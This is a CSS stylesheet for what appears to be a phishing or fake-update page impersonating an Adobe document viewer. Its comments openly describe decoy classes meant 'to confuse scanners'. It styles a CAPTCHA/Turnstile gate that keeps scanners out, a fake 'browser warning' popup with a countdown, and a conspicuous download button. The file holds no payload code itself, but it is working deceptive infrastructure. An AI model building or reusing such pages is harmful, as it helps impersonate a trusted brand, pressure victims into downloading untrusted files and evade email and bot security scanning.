/* 
 * Adobe Document Viewer Styles
 * Professionally styled to match Adobe branding
 */

/* CSS Obfuscation - Useless classes to confuse scanners */
.email-scanner-trap { display: none; }
.bot-detection-layer { visibility: hidden; }
.security-verification-element { position: absolute; left: -9999px; }

/* General Styles */
* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

body {
  font-family: 'Adobe Clean', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
  background-color: #f5f5f5;
  color: #333;
  line-height: 1.6;
}

a {
  color: #1473e6;
  text-decoration: none;
  transition: color 0.2s ease;
}

a:hover {
  color: #0d66d0;
  text-decoration: underline;
}

img {
  max-width: 100%;
}

/* Initial CAPTCHA Screen Styles */
#initial-captcha {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: white;
  z-index: 10000;
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  padding: 20px;
  text-align: center;
}

#initial-captcha img {
  width: 60px;
  margin-bottom: 20px;
}

#initial-captcha h3 {
  color: #2c2c2c;
  margin: 15px 0;
  font-weight: 500;
  font-size: 18px;
  letter-spacing: -0.2px;
}

#initial-captcha p {
  max-width: 400px;
  margin-bottom: 20px;
  color: #666;
  font-size: 14px;
}

.captcha-container {
  margin: 20px auto;
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 10px;
  background-color: #f8f8f8;
  border-radius: 8px;
  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
}

/* Header Styles */
header {
  background-color: #fff;
  box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
  padding: 15px 0;
  position: sticky;
  top: 0;
  z-index: 100;
}

.header-container {
  max-width: 1200px;
  margin: 0 auto;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 0 20px;
}

.logo img {
  height: 30px;
}

.nav-links {
  display: flex;
  gap: 24px;
}

.nav-link {
  color: #4b4b4b;
  font-weight: 500;
  font-size: 14px;
  padding: 8px 12px;
  border-radius: 4px;
  transition: all 0.2s ease;
}

.nav-link:hover {
  background-color: #f1f1f1;
  text-decoration: none;
  color: #2c2c2c;
}

/* Main Content Styles */
main {
  max-width: 1200px;
  margin: 40px auto;
  padding: 0 20px;
}

.document-container {
  background-color: #fff;
  border-radius: 8px;
  box-shadow: 0 4px 16px rgba(0, 0, 0, 0.06);
  overflow: hidden;
  transition: box-shadow 0.3s ease;
}

.document-container:hover {
  box-shadow: 0 6px 20px rgba(0, 0, 0, 0.1);
}

.document-preview {
  padding: 30px;
}

.document-header {
  margin-bottom: 25px;
  padding-bottom: 15px;
  border-bottom: 1px solid #e8e8e8;
}

.document-header h2 {
  color: #2c2c2c;
  font-size: 24px;
  font-weight: 600;
  margin-bottom: 5px;
  letter-spacing: -0.2px;
}

.document-header p {
  color: #707070;
  font-size: 14px;
}

.document-content {
  min-height: 400px;
  display: flex;
  justify-content: center;
  align-items: center;
}

.document-placeholder {
  text-align: center;
  color: #999;
  width: 100%;
}

.document-placeholder img {
  max-width: 100%;
  box-shadow: 0 2px 20px rgba(0, 0, 0, 0.08);
  border-radius: 4px;
  border: 1px solid #e8e8e8;
}

/* Preloader Enhanced Styles */
#preloader {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: white;
  z-index: 9999;
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
}

#preloader h3 {
  color: #2c2c2c;
  margin: 15px 0;
  font-weight: 500;
  font-size: 18px;
  letter-spacing: -0.2px;
}

.progress-container {
  width: 320px;
  height: 4px;
  background: #e6e6e6;
  border-radius: 2px;
  overflow: hidden;
  margin-top: 15px;
}

.progress-bar {
  height: 100%;
  background: linear-gradient(to right, #fa0f00, #e23b17);
  border-radius: 2px;
  transition: width 0.3s ease-in-out;
}

.status-text {
  margin-top: 12px;
  font-size: 14px;
  color: #666;
}

/* Browser Warning Popup Styles - Modern Adobe Style */
.popup-container {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.65);
  display: flex;
  justify-content: center;
  align-items: center;
  z-index: 1000;
  backdrop-filter: blur(4px);
}

.popup {
  background-color: #fff;
  width: 90%;
  max-width: 500px;
  border-radius: 8px;
  box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
  overflow: hidden;
  animation: popup-appear 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}

@keyframes popup-appear {
  0% { transform: scale(0.9); opacity: 0; }
  100% { transform: scale(1); opacity: 1; }
}

.popup-header {
  background-color: #f8f8f8;
  padding: 24px;
  display: flex;
  align-items: center;
  border-bottom: 1px solid #eaeaea;
}

.popup-header img {
  width: 24px;
  margin-right: 12px;
}

.popup-header h3 {
  color: #f40f00;
  font-size: 18px;
  font-weight: 600;
  letter-spacing: -0.3px;
}

.popup-content {
  padding: 24px;
}

.popup-content p {
  margin-bottom: 16px;
  color: #3e3e3e;
  line-height: 1.5;
}

.countdown {
  margin: 24px 0;
  padding: 16px;
  background-color: #f5f5f5;
  border-radius: 6px;
  text-align: center;
  font-size: 15px;
  border-left: 4px solid #f40f00;
}

#countdown {
  font-weight: bold;
  color: #f40f00;
  font-size: 18px;
}

.download-button-container {
  text-align: center;
  margin: 28px 0 16px;
}

.download-button {
  background-color: #f40f00;
  color: white;
  border: none;
  padding: 12px 28px;
  border-radius: 4px;
  font-size: 16px;
  font-weight: 500;
  cursor: pointer;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  transition: background-color 0.2s, transform 0.1s;
  box-shadow: 0 2px 8px rgba(244, 15, 0, 0.25);
}

.download-button:hover {
  background-color: #d90e00;
  box-shadow: 0 4px 12px rgba(244, 15, 0, 0.35);
}

.download-button:active {
  transform: scale(0.98);
  box-shadow: 0 1px 4px rgba(244, 15, 0, 0.35);
}

.download-button img {
  width: 18px;
  margin-right: 10px;
}

.popup-footer {
  padding: 16px 24px;
  background-color: #f8f8f8;
  border-top: 1px solid #eaeaea;
  text-align: center;
  font-size: 13px;
  color: #666;
}

/* Responsive Styles */
@media (max-width: 768px) {
  .header-container {
    flex-direction: column;
    gap: 15px;
  }
  
  .nav-links {
    width: 100%;
    justify-content: center;
  }
  
  .document-preview {
    padding: 20px;
  }
  
  .document-placeholder img {
    max-width: 100%;
  }
  
  .popup {
    width: 92%;
    max-width: 450px;
  }
  
  .popup-header, .popup-content {
    padding: 20px;
  }
}

/* Loading spinner animation */
.spinner {
  width: 40px;
  height: 40px;
  border: 3px solid rgba(244, 15, 0, 0.1);
  border-radius: 50%;
  border-top-color: #f40f00;
  animation: spin 1s ease-in-out infinite;
  margin: 0 auto 15px auto;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

/* Custom Adobe fonts */
@font-face {
  font-family: 'Adobe Clean';
  src: url('https://use.typekit.net/af/cb695f/000000000000000000017701/27/l?primer=7cdcb44be4a7db8877ffa5c0007b8dd865b3bbc383831fe2ea177f62257a9191&fvd=n4&v=3') format('woff2');
  font-weight: normal;
  font-style: normal;
  font-display: swap;
}

@font-face {
  font-family: 'Adobe Clean';
  src: url('https://use.typekit.net/af/eaf09c/000000000000000000017703/27/l?primer=7cdcb44be4a7db8877ffa5c0007b8dd865b3bbc383831fe2ea177f62257a9191&fvd=n7&v=3') format('woff2');
  font-weight: bold;
  font-style: normal;
  font-display: swap;
}

/* Turnstile Container Styles */
.turnstile-container {
  margin: 20px auto;
  display: flex;
  justify-content: center;
  align-items: center;
} 